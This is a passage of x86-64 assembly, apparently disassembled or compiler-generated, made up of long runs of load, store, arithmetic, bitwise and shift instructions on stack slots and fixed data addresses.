mov qword [rsp + 0x6518], rax
mov rax, qword [rsp + 0x59e8]
movsx eax, word [rax]
mov rcx, qword [0x14017a1d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5b28]
mov word [rcx], ax
movzx eax, byte [rsp + 0x62]
mov byte [rsp + 0x10f], al
mov eax, dword [rsp + 0x2c90]
mov ecx, dword [rsp + 0x2a54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cbc], eax
mov rax, qword [rsp + 0x5f28]
mov rcx, qword [rsp + 0x5548]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4fa0], rax
lea rax, [rsp + 0x5560]
mov qword [rsp + 0x6520], rax
mov rax, qword [rsp + 0x5f18]
mov ecx, dword [rsp + 0x2c0c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2aa8], eax
movzx eax, byte [0x14017a0cd]
mov rcx, qword [rsp + 0x5ff0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a348]
mov byte [rcx], al
lea rax, [rsp + 0xa10]
mov qword [rsp + 0x6528], rax
movsx eax, byte [rsp + 0xc0]
movsx ecx, byte [rsp + 0xa0]
add eax, ecx
mov rcx, qword [rsp + 0x5cc8]
mov byte [rcx], al
movsx eax, byte [0x14017a0cc]
movsx ecx, byte [rsp + 0x9e]
add eax, ecx
mov byte [rsp + 0xb7], al
movzx eax, word [rsp + 0xa70]
mov word [rsp + 0xb44], ax
mov rax, qword [rsp + 0x5808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5dd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5920], rax
lea rax, [0x140178e6c]
mov qword [rsp + 0x6530], rax
mov rax, qword [rsp + 0x59f0]
mov rcx, qword [rsp + 0x5840]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x5310]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c98]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x63c8]
movzx eax, byte [rax]
mov byte [rsp + 0x110], al
mov rax, qword [rsp + 0x5d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf2]
sar eax, cl
mov byte [0x140178ebb], al
movzx eax, word [rsp + 0x8cc]
movzx ecx, word [0x140178e68]
or eax, ecx
mov word [rsp + 0xa5c], ax
movzx eax, word [rsp + 0x998]
mov word [rsp + 0xb48], ax
movzx eax, byte [rsp + 0xcc]
mov rcx, qword [rsp + 0x57d0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5520]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5c18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5e30], rax
mov rax, qword [rsp + 0x5080]
mov rax, qword [rax]
mov qword [rsp + 0x6538], rax
mov rax, qword [rsp + 0x5328]
mov ecx, dword [rsp + 0x2b4c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b98]
mov dword [rsp + 0x2cc8], eax
movsx eax, byte [rsp + 0xdc]
movsx ecx, byte [rsp + 0xb7]
sub eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x5f80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5ec0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a1e0]
mov word [rcx], ax
movzx eax, word [0x140178f08]
mov word [rsp + 0xb4c], ax
movsx eax, word [rsp + 0x920]
movsx ecx, word [rsp + 0x874]
add eax, ecx
mov rcx, qword [rsp + 0x5908]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x5a18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x10b], al
mov rax, qword [rsp + 0x5ee0]
mov rax, qword [rax]
mov qword [rsp + 0x6540], rax
mov rax, qword [rsp + 0x6470]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c8c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c3c], eax
mov rax, qword [rsp + 0x5da8]
mov qword [rsp + 0x6548], rax
mov rax, qword [rsp + 0x5ef0]
mov ecx, dword [0x140178e8c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xff]
movsx ecx, byte [rsp + 0x8c]
sub eax, ecx
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0x5bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
sub eax, ecx
mov byte [0x140178ebe], al
lea rax, [rsp + 0x53]
mov qword [rsp + 0x6550], rax
movsx eax, word [rsp + 0x9a8]
movsx ecx, word [rsp + 0x8c8]
sar eax, cl
mov word [rsp + 0xa94], ax
mov rax, qword [rsp + 0x54f8]
movzx eax, word [rax]
mov word [rsp + 0xb50], ax
mov rax, qword [rsp + 0x6540]
movzx ecx, al
mov rax, qword [0x140178e60]
shl rax, cl
mov rcx, qword [rsp + 0x5498]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5f88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5f40]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5348], rax
lea rax, [rsp + 0x2c4c]
mov qword [rsp + 0x6558], rax
mov rax, qword [rsp + 0x5388]
mov rcx, qword [rsp + 0x5220]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2c48], eax
lea rax, [rsp + 0x104]
mov qword [rsp + 0x6560], rax
mov rax, qword [rsp + 0x62e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb38]
and eax, ecx
mov rcx, qword [0x14017a2e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x64a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d0]
add eax, ecx
mov rcx, qword [rsp + 0x5e80]
mov word [rcx], ax
movsx eax, word [rsp + 0x880]
mov rcx, qword [rsp + 0x5090]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov word [rcx], ax
movzx eax, byte [rsp + 0xab]
mov byte [rsp + 0x111], al
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x5520]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb6], al
mov eax, dword [rsp + 0x28bc]
mov dword [rsp + 0x2ccc], eax
mov rax, qword [rsp + 0x5d28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4eb0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5fd0], rax
mov eax, dword [rsp + 0x2c28]
mov dword [rsp + 0x2cd0], eax
mov rax, qword [rsp + 0x6468]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5278], rax
mov rax, qword [rsp + 0x5b10]
movzx eax, word [rax]
movzx ecx, word [0x140178ea8]
sub eax, ecx
mov rcx, qword [0x14017a308]
mov word [rcx], ax
mov rax, qword [rsp + 0x53e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa28]
and eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov word [rcx], ax
movzx eax, byte [rsp + 0xfb]
mov byte [rsp + 0x112], al
movzx eax, byte [rsp + 0xfe]
movzx ecx, byte [0x140178e96]
add eax, ecx
mov rcx, qword [rsp + 0x5e50]
mov byte [rcx], al
lea rax, [rsp + 0xac4]
mov qword [rsp + 0x6568], rax
mov eax, dword [rsp + 0x2b0c]
mov ecx, dword [rsp + 0x2a70]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b78], eax
mov rax, qword [rsp + 0x5730]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2cd0]
shl eax, cl
mov rcx, qword [rsp + 0x5200]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56a0]
mov qword [rsp + 0x6570], rax
mov rax, qword [rsp + 0x5b48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4f40]
shr rax, cl
mov qword [rsp + 0x5628], rax
mov rax, qword [rsp + 0x6398]
movzx eax, byte [rax]
mov byte [0x14017a0e6], al
lea rax, [rsp + 0xab4]
mov qword [rsp + 0x6578], rax
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5cb0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa10], ax
mov rax, qword [rsp + 0x5488]
movzx eax, byte [rax]
mov rcx, qword [0x14017a0f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6280]
mov byte [rcx], al
movzx eax, byte [rsp + 0x10f]
mov byte [rsp + 0x113], al
mov rax, qword [rsp + 0x4e80]
mov ecx, dword [rsp + 0x2b68]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a78], eax
mov rax, qword [rsp + 0x4f88]
mov qword [rsp + 0x6580], rax
mov rax, qword [rsp + 0x5738]
mov rcx, qword [rsp + 0x4aa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5018]
mov dword [rcx], eax
lea rax, [rsp + 0x56c0]
mov qword [rsp + 0x6588], rax
lea rax, [rsp + 0x6a]
mov qword [0x14017a398], rax
mov rax, qword [rsp + 0x55e8]
movsx eax, word [rax]
mov rcx, qword [0x14017a108]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5800]
mov word [rcx], ax
mov rax, qword [rsp + 0x5168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa7c]
add eax, ecx
mov word [rsp + 0x9b4], ax
mov rax, qword [rsp + 0x5248]
movzx eax, byte [rax]
mov byte [rsp + 0x114], al
movzx eax, word [rsp + 0x8ec]
mov rcx, qword [rsp + 0x6420]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8b8], ax
lea rax, [rsp + 0x2b88]
mov qword [rsp + 0x6590], rax
mov rax, qword [rsp + 0x5ee8]
mov rcx, qword [rsp + 0x62d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x60a0], rax
mov rax, qword [rsp + 0x5d98]
mov ecx, dword [rsp + 0x2b8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bdc], eax
lea rax, [rsp + 0x5a40]
mov qword [rsp + 0x6598], rax
movzx eax, byte [rsp + 0xd1]
mov rcx, qword [rsp + 0x58b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a052], al
movsx eax, word [rsp + 0xb30]
movsx ecx, word [rsp + 0xac4]
and eax, ecx
mov rcx, qword [rsp + 0x53d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5b68]
movzx eax, byte [rax]
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0x5880]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6268]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5918]
mov word [rcx], ax
movzx eax, byte [0x14017a053]
movzx ecx, byte [rsp + 0x70]
sar eax, cl
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x59f8]
mov eax, dword [rax]
mov dword [rsp + 0x2cd4], eax
mov rax, qword [rsp + 0x53b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a74]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a40], eax
mov rax, qword [rsp + 0x6018]
mov rax, qword [rax]
mov qword [rsp + 0x65a0], rax
mov rax, qword [rsp + 0x64c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5f28]
mov qword [rsp + 0x65a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x65a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5e58], rax
lea rax, [rsp + 0x864]
mov qword [0x14017a3a0], rax
mov rax, qword [rsp + 0x4e08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x50e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
lea rax, [rsp + 0x105]
mov qword [rsp + 0x65b0], rax
movsx eax, word [rsp + 0x900]
movsx ecx, word [rsp + 0xaa8]
add eax, ecx
mov word [rsp + 0x8b0], ax
lea rax, [rsp + 0x89]
mov qword [rsp + 0x65b8], rax
mov rax, qword [rsp + 0x5a70]
mov rcx, qword [rsp + 0x5948]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6360]
mov qword [rcx], rax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x65c0], rax
mov rax, qword [rsp + 0x6040]
mov rcx, qword [rsp + 0x5470]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x55b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6000]
mov rcx, qword [rsp + 0x5178]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5348], rax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0x70]
add eax, ecx
mov byte [0x140178e5f], al
lea rax, [rsp + 0x924]
mov qword [rsp + 0x65c8], rax
mov rax, qword [rsp + 0x5620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5fa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5070]
mov byte [rcx], al
lea rax, [rsp + 0xa3c]
mov qword [rsp + 0x65d0], rax
movzx eax, byte [0x14017a0cd]
movzx ecx, byte [rsp + 0xb0]
add eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x5188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6150], rax
lea rax, [rsp + 0x4f88]
mov qword [rsp + 0x65d8], rax
mov rax, qword [rsp + 0x64b8]
mov ecx, dword [rsp + 0x2c88]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c48], eax
mov eax, dword [rsp + 0x2ca0]
mov dword [rsp + 0x2cd8], eax
mov rax, qword [rsp + 0x64b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa4c]
add eax, ecx
mov word [0x140178f00], ax
mov rax, qword [rsp + 0x4ec0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5ff0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc7], al
movsx eax, word [rsp + 0xb3c]
mov rcx, qword [rsp + 0x5300]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5868]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe7]
mov byte [rsp + 0x116], al
movzx eax, word [rsp + 0x994]
mov rcx, qword [rsp + 0x4fb8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x50d8]
mov word [rcx], ax
lea rax, [rsp + 0x2b8c]
mov qword [rsp + 0x65e0], rax
mov rax, qword [rsp + 0x5410]
mov rcx, qword [rsp + 0x59a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x50f0], rax
mov rax, qword [rsp + 0x58f0]
mov eax, dword [rax]
mov dword [rsp + 0x2cdc], eax
mov rax, qword [rsp + 0x5d68]
mov rcx, qword [rsp + 0x4eb0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5f28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ff8]
movzx eax, byte [rax]
mov rcx, qword [0x14017a148]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc4], al
lea rax, [rsp + 0xad4]
mov qword [0x14017a3a8], rax
lea rax, [rsp + 0xb08]
mov qword [rsp + 0x65e8], rax
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x64a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74], al
lea rax, [rsp + 0x110]
mov qword [rsp + 0x65f0], rax
mov rax, qword [rsp + 0x5bd8]
mov rcx, qword [rsp + 0x5238]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x59f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x53c0]
mov rcx, qword [rsp + 0x57d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x58e8], rax
lea rax, [0x140178e8c]
mov qword [rsp + 0x65f8], rax
mov rax, qword [rsp + 0x4f10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6118]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5920], rax
lea rax, [rsp + 0x94]
mov qword [rsp + 0x6600], rax
mov rax, qword [rsp + 0x52c0]
movzx eax, word [rax]
movzx ecx, word [0x140178ee4]
sub eax, ecx
mov word [0x140178f04], ax
movsx eax, byte [rsp + 0x78]
movsx ecx, byte [rsp + 0x87]
add eax, ecx
mov byte [rsp + 0x7c], al
movzx eax, byte [rsp + 0xf4]
movzx ecx, byte [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0x6190]
mov byte [rcx], al
mov rax, qword [rsp + 0x65d0]
movzx eax, word [rax]
mov word [rsp + 0xb54], ax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6380]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2c10]
mov dword [rsp + 0x2ce0], eax
mov rax, qword [rsp + 0x6178]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e68]
mov qword [rsp + 0x6608], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6608]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5ea8], rax
mov rax, qword [rsp + 0x58c8]
mov rcx, qword [rsp + 0x5da8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5848]
mov qword [rcx], rax
lea rax, [rsp + 0xd2]
mov qword [rsp + 0x6610], rax
lea rax, [0x140178e88]
mov qword [0x14017a3b0], rax
movsx eax, word [rsp + 0x960]
movsx ecx, word [rsp + 0xa40]
sar eax, cl
mov rcx, qword [rsp + 0x65c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5430]
movzx eax, byte [rax]
mov byte [rsp + 0x117], al
mov rax, qword [rsp + 0x4e08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8ac]
and eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5e08]
mov qword [rsp + 0x6618], rax
mov rax, qword [rsp + 0x51f8]
mov ecx, dword [rsp + 0x2cdc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ae4], eax
mov rax, qword [rsp + 0x5790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x58e8]
mov qword [rsp + 0x6620], rax
mov rax, qword [rsp + 0x5cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5578]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x50e0]
mov word [rcx], ax
movzx eax, byte [0x140178e93]
movzx ecx, byte [rsp + 0x90]
sub eax, ecx
mov byte [0x140178e5f], al
mov rax, qword [rsp + 0x59c8]
movzx eax, word [rax]
mov word [rsp + 0xb58], ax
mov rax, qword [rsp + 0x5760]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5690]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x87c], ax
mov rax, qword [0x14017a240]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5340]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6400]
mov byte [rcx], al
lea rax, [rsp + 0x7f]
mov qword [rsp + 0x6628], rax
mov rax, qword [rsp + 0x5388]
mov rcx, qword [rsp + 0x5eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5220]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5500]
mov rax, qword [rax]
mov qword [rsp + 0x6630], rax
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x5bb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ae8], eax
mov rax, qword [rsp + 0x5288]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6620], rax
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5958]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140178f20], ax
movzx eax, word [rsp + 0x95c]
mov word [rsp + 0xb5c], ax
movsx eax, byte [rsp + 0xf3]
mov rcx, qword [rsp + 0x5a78]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6130]
mov byte [rcx], al
movzx eax, word [rsp + 0xa30]
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0x54e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
or eax, ecx
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0x6030]
mov rcx, qword [rsp + 0x6598]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58d8]
mov qword [rsp + 0x6638], rax
mov rax, qword [rsp + 0x50d0]
mov ecx, dword [rsp + 0x2b38]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4f20]
mov dword [rcx], eax
lea rax, [rsp + 0x2aa4]
mov qword [rsp + 0x6640], rax
lea rax, [0x140178e74]
mov qword [0x14017a3b8], rax
mov rax, qword [rsp + 0x5958]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab8]
add eax, ecx
mov rcx, qword [rsp + 0x51e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5c88]
movzx eax, byte [rax]
mov byte [rsp + 0x118], al
movsx eax, byte [0x140178ea6]
movsx ecx, byte [rsp + 0x115]
sub eax, ecx
mov byte [rsp + 0xc5], al
mov rax, qword [rsp + 0x60b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8a8]
sub eax, ecx
mov word [rsp + 0x994], ax
mov eax, dword [rsp + 0x29e4]
mov dword [rsp + 0x2ce4], eax
mov rax, qword [rsp + 0x5808]
mov rcx, qword [rsp + 0x5890]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x52c8]
mov qword [rcx], rax
lea rax, [rsp + 0x5c00]
mov qword [rsp + 0x6648], rax
mov rax, qword [rsp + 0x6558]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b20], eax
mov rax, qword [rsp + 0x6610]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5128]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14017a052], al
mov rax, qword [rsp + 0x5f80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5640]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x914], ax
mov rax, qword [rsp + 0x5068]
movzx eax, word [rax]
mov word [rsp + 0xb64], ax
mov rax, qword [0x14017a2f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6600]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5340]
mov byte [rcx], al
mov rax, qword [rsp + 0x6350]
movzx eax, word [rax]
mov word [rsp + 0xb68], ax
mov rax, qword [rsp + 0x5500]
mov rcx, qword [rsp + 0x58b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5c48], rax
mov eax, dword [rsp + 0x2a48]
mov rcx, qword [rsp + 0x6510]
mov qword [rsp + 0x6650], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6650]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5d98]
mov dword [rcx], eax
lea rax, [rsp + 0x2c80]
mov qword [rsp + 0x6658], rax
mov rax, qword [rsp + 0x51d8]
mov rcx, qword [rsp + 0x4fa8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5e68]
mov qword [rcx], rax
movsx eax, word [rsp + 0xae8]
mov rcx, qword [rsp + 0x4e18]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140178ec8], ax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x6660], rax
mov rax, qword [rsp + 0x5e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8cc]
shl eax, cl
mov word [rsp + 0xa14], ax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x6668], rax
movzx eax, word [rsp + 0xa04]
movzx ecx, word [rsp + 0xb10]
and eax, ecx
mov word [rsp + 0xa64], ax
mov eax, dword [rsp + 0x2bf0]
mov ecx, dword [rsp + 0x2a60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b6c], eax
mov rax, qword [rsp + 0x6020]
mov qword [rsp + 0x6670], rax
mov rax, qword [rsp + 0x53b8]
mov ecx, dword [rsp + 0x2c20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c48], eax
mov rax, qword [rsp + 0x6250]
mov rax, qword [rax]
mov qword [rsp + 0x6678], rax
lea rax, [rsp + 0xaa]
mov qword [0x14017a3c0], rax
mov rax, qword [rsp + 0x5e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x96c]
sub eax, ecx
mov rcx, qword [rsp + 0x65e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
mov rcx, qword [0x14017a2e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5898]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa1]
mov byte [rsp + 0x119], al
mov rax, qword [rsp + 0x6488]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6090]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x63b0]
mov eax, dword [rax]
mov dword [rsp + 0x2ce8], eax
mov rax, qword [rsp + 0x61f8]
mov rcx, qword [rsp + 0x5410]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5c18], rax
mov rax, qword [rsp + 0x53e0]
mov rcx, qword [rsp + 0x5470]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57c8]
mov qword [rsp + 0x6680], rax
mov rax, qword [0x14017a150]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb4c]
add eax, ecx
mov word [0x140178f24], ax
mov rax, qword [rsp + 0x56e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5168]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x85c], ax
lea rax, [rsp + 0x101]
mov qword [rsp + 0x6688], rax
movsx eax, byte [0x140178eb7]
mov rcx, qword [rsp + 0x5cc8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5b30]
mov byte [rcx], al
mov rax, qword [rsp + 0x59e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8f4]
sar eax, cl
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
lea rax, [0x140178e8c]
mov qword [rsp + 0x6690], rax
mov rax, qword [rsp + 0x53c0]
mov rcx, qword [rsp + 0x5af0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov qword [rsp + 0x6698], rax
mov rax, qword [rsp + 0x59a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bc0], eax
movsx eax, word [rsp + 0xa98]
movsx ecx, word [rsp + 0xa30]
and eax, ecx
mov word [0x140178eb4], ax
lea rax, [rsp + 0xa54]
mov qword [rsp + 0x66a0], rax
movsx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x5fa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfb], al
movzx eax, byte [rsp + 0x100]
movzx ecx, byte [rsp + 0x5b]
sub eax, ecx
mov rcx, qword [rsp + 0x6200]
mov byte [rcx], al
movzx eax, word [rsp + 0xb48]
mov word [rsp + 0xb6c], ax
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x55f0], rax
lea rax, [rsp + 0x2a04]
mov qword [rsp + 0x66a8], rax
mov eax, dword [rsp + 0x2bfc]
mov ecx, dword [rsp + 0x2b9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x51f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5fb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5548]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f10]
mov qword [rcx], rax
lea rax, [rsp + 0x96c]
mov qword [rsp + 0x66b0], rax
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a140], ax
